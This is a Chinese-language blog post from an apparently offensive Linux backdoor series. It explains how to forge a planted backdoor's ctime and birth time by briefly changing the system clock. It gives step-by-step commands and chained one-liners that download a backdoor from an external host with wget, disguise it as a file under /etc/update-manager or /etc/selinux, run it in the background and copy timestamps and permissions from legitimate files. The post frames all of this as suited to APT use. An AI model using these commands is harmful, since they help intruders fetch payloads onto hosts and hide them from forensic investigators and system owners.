0x00 前情提要
在 alias 后门 | Linux 后门系列一文中,我们为了让后门完美一些,修改了后门文件的 atime、mtime,但是 ctime 一直没有办法修改,今天我们来把这一块补齐,让后门更加完美
atime -> access time, 访问时间
mtime -> modify time,修改时间
ctime -> change time, 状态变化时间
最新版 Linux 中多了一个属性,文件创建时间,在 Centos Stream 中叫做 created time,在 Ubuntu中叫 Birth time
0x01 ctime 简介
文件状态变化,ctime 就会变化,例如以下信息变化:
-
文件内容变化
-
文件属性变化
-
文件权限变化
-
...
也就是说我们手动修改 atime 或者 mtime 的时候, ctime 会自动更新为当前时间。ctime是随着改变而改变的
0x02 修改 ctime 的理论方法
由于ctime的特性,我觉得这个问题可以从三个角度去考虑
-
改变更新文件时间戳的应用运行状态
-
改变当前时间
-
改变展示系统时间戳的应用以及属性
1. 改变更新文件时间戳的应用运行状态
从字面意思看,我们可以找到维护Linux文件时间戳的应用,之后对应用本身进行修改,这听起来就是一个十分困难和危险的操作
简单一点,就是停止运行系统,通过较为底层的层面去修改目标文件的ctime,这应该是可行的,只要我们掌握足够的知识,但是不适合在APT场景中使用
2. 改变当前时间
系统的ctime 更改采用的时间是当前系统时间,那么也就是说如果把系统时间手动设置为 2008年1月1日,再对文件状态进行更改,那么最终留下的 ctime 就是 2008年1月1日的了
但是改变系统时间可不是一件小事,可能导致某些程序出现错误,所以需要有效的恢复手段
3. 改变展示系统时间戳的应用以及属性
一般大家都用 stat
来查看文件的完整时间戳,修改 stat 命令来改变展示的 ctime 不是一件难事
但是,可以获取文件 ctime 的应用不止 stat 一款,加上自行通过系统调用获取等。所以可以查看 stat 的源代码,看一下 stat 应用是如何获取和管理 ctime 的,针对其调用的方法进行系统性地修改应该也是可以实现修改文件 ctime 的
0x03 系统时钟与硬件时钟
Linux 时间系统分为系统时钟和硬件时钟,系统时钟存在于Linux 内核中,而硬件时钟存在于硬件主板上
从两种时钟的命名上可以看出,硬件时钟肯定是要比系统时钟更加持久,毕竟系统时钟系统关机就没了嘛
硬件时钟靠着BIOS电池供电,一直维持的一个时间,硬件都是按照这个时间来作为主要依据,每次开机会将计算机硬件时钟的时间的值作为系统时间
为了保证时间的准确性,操作系统一般会有时间同步的服务,也就是NTP服务,来让系统时间更加准确
详细知识可以查看鸟哥的网站
http://cn.linux.vbird.org/linux_server/0440ntp.php
查看系统时钟
date
查看硬件时钟
sudo hwclock --show
0x04 方案选择
改变系统时间的方式最适合APT场景,所以本次介绍这一种方案
0x05 时间修改与恢复
修改系统时间后恢复系统时间必须是瞬时的,较长时间的系统时间改变会造成某些应用故障
1. 系统时间修改
可以使用 date
命令或 timedatectl
来进行,需要 root权限,这里以 date 为例
date -s "时间字符串"
将系统时间设置为 2018年8月9日 10:11:12
sudo date -s "20180809 10:11:12"
这样就将系统时间修改了,但是由于 Ubuntu Server操作系统默认存在时间同步服务,刚修改完下一秒就会变回正常时间(即使是断网的情况下)
快到难以让人分辨到底修改成功没有,也正是这个特性,给我们省了非常多的事,稍后会说,Centos Stream 默认就没有这个特性...
2. ctime 时间修改
ctime 时间修改可以用三种方法
-
touch -at/-mt
这种会一并修改 atime或者 mtime -
touch -r oldfile newfile
这种方案就是将newfile 的atime 和 mtime 都设置为和 oldfile 一样,同时 ctime 就是当前系统时间了 -
chmod
或者chown
之类的,修改一下文件属性,例如chmod +x newfile.sh
在之前的章节中,我们使用的就是 touch -r
这种方式来伪装后门为系统正常文件,这次我们也是选择 touch -r
来进行
3. 系统时间恢复
通过上面的指令,我们已经可以将文件的 ctime 伪装成和系统某些文件一模一样的状态了,现在面临的问题是如何恢复系统时间。可以从以下几个角度去考虑:
-
若存在NTP服务程序且存在可连接的服务器,可以使用 ntp 服务立刻同步,最常用的两个程序:ntpdate 和 chrony
ntpdate 不是系统自带的程序, chronyc 是 Centos Stream 自带的, chronyc 立即同步执行后也要等一段时间才会将系统时间完全同步正确
-
sudo ntpdate time.ntp.org
-
sudo chronyc makestep
-
-
记录修改前的 date , 修改 ctime 后立刻改回来
NOW=$(date) && date -s "2021-09-05 08:00:00" && touch file.txt && date -s "$NOW"
参考
https://sysin.org/blog/how-to-change-file-date/#2-Linux%EF%BC%88%E4%BF%AE%E6%94%B9%E6%97%B6%E9%97%B4%EF%BC%8C%E8%AE%BF%E9%97%AE%E6%97%B6%E9%97%B4%EF%BC%89
这个操作可能会导致操作系统时间与原来差一丢丢,但应该不会差很多
-
从硬件时间恢复操作系统时间
-
sudo hwclock --hctosys
-
这个命令的含义是使用硬件时间的值作为系统时间
为了防止原来的系统时间和硬件时间有较大差异,在修改系统时间之前可以先看一下系统时间和硬件时间是否有较大差距
sudo hwclock --show && date +"%Y-%m-%d %H:%M:%S"
可以看到,差距不大,可以考虑从硬件时间恢复系统时间
-
修改前将系统时间覆盖到硬件时间,修改后恢复时从硬件时间恢复系统时间
系统时间覆盖硬件时间
sudo hwclock --systohc
修改ctime
balabal
从硬件时间恢复系统时间
sudo hwclock --hctosys
需要注意的是,这样的操作会彻底失去原来的硬件时间
0x06 新版本Linux 文件创建时间
Ubuntu Server 22.10 以及 Centos Stream 9 都有文件创建时间这个概念了
文件创建时间目前 touch 命令也不支持直接修改,也没有找到其他工具可以改,所以还是需要通过修改系统时间来进行
0x07 Ubuntu Server 22.10 实验
Ubuntu Server 即使断网使用 date -s
来修改系统时间,系统时间也会马上恢复
还是以 alias 后门那篇文章里的后门为例
默认情况下,/etc/update-manager/
目录下有一个 release-upgrades
文件,我们设置一个后门,名字为 release-update
,之后再将文件时间修改为和 release-upgrades
相近的时间
先查看一下 release-upgrades
文件的时间戳信息
stat /etc/update-manager/release-upgrades
Access: 2022-11-02 06:39:29.335999611 +0000
Modify: 2022-09-29 19:13:49.000000000 +0000
Change: 2022-11-02 06:36:59.067636265 +0000
Birth: 2022-11-02 06:36:59.067636265 +0000
atime 和 mtime 可以直接使用 touch -r 复制, change 和 Birth time(创建时间)通过调整系统时间来完成
这里用whoami 程序来模拟恶意程序,为明显区分文件和目录,后门程序名称为 whoami.elf
-
远程下载后门程序
wget "http://test.oss-cn-beijing.aliyuncs.com/2022/11/02/whoami.elf" -O /tmp/release-update
-
给后门程序添加可执行权限(配置文件先将权限设置成和release-upgrades相同)
chmod +x /tmp/release-update
-
用系统时间覆盖硬件时间
sudo hwclock --systohc
-
修改系统时间
sudo date -s "20221102 06:36:59"
-
copy 一份后门文件来满足文件创建时间模仿
sudo cp /tmp/release-update /etc/update-manager/
-
如果是需要执行的后门,现在执行并放置后台,如果像 alias 那种配置文件后门则不需要此章节
/etc/update-manager/release-update &
-
touch 模拟 release-upgrades 文件的 atime 和 mtime
sudo touch -r /etc/update-manager/release-upgrades /etc/update-manager/release-update
-
从硬件时间恢复系统时间
sudo hwclock --hctosys
-
删除下载的后门程序
rm /tmp/release-update
之前说过,这些操作必须是瞬时完成的,所以我们把它们组合起来
wget "http://test.oss-cn-beijing.aliyuncs.com/2022/11/02/whoami.elf" -O /tmp/release-update && chmod +x /tmp/release-update && sudo hwclock --systohc && sudo date -s "20221102 06:36:59" && sudo cp /tmp/release-update /etc/update-manager/ && sudo touch -r /etc/update-manager/release-upgrades /etc/update-manager/release-update && sudo hwclock --hctosys && rm /tmp/release-update
实验成功
PS:Ubuntu Server 其实可以没有第 3 步和第 8 步,因为操作系统会自动同步时间
我们去掉第 3 步和第 8 步试一下
实验依旧成功
0x08 Centos Stream 9 实验
Centos 这边依旧使用Ubuntu Server 中的 9 个步骤,不过Centos Stream 9 中没有 /etc/update-manager/
这个文件夹,我们选择 /etc/selinux/
这个目录
这里有一个 semanage.conf
,我们的恶意配置文件起名为 semanage.conf.example
由于模拟的是配置文件,我们服务器上的恶意配置文件的名称为 whoami.conf
我们需要把时间修改为 2022-11-02 00:37:06
目录和文件名也要进行对应修改
同时,既然是配置文件,我们将恶意配置文件的权限和所有权也都设置和同目录下正常文件一致(权限和所属方面要符合后门实际情况,不要造成修改后没有权限读取了)
sudo chmod --reference=正常配置文件 恶意配置文件
sudo chown --reference=正常配置文件 恶意配置文件
这一步放在第 5[6] 步与第 7 步之间
整体命令为(写命令时候一定要小心小心再小心,别写错了)
wget "http://test.oss-cn-beijing.aliyuncs.com/2022/11/02/whoami.conf" -O /tmp/semanage.conf.example && chmod +x /tmp/semanage.conf.example && sudo hwclock --systohc && sudo date -s "20221102 00:37:06" && sudo cp /tmp/semanage.conf.example /etc/selinux/ && sudo chmod --reference=/etc/selinux/semanage.conf /etc/selinux/semanage.conf.example && sudo chown --reference=/etc/selinux/semanage.conf /etc/selinux/semanage.conf.example && sudo touch -r /etc/selinux/semanage.conf /etc/selinux/semanage.conf.example && sudo hwclock --hctosys && rm /tmp/semanage.conf.example
实验成功!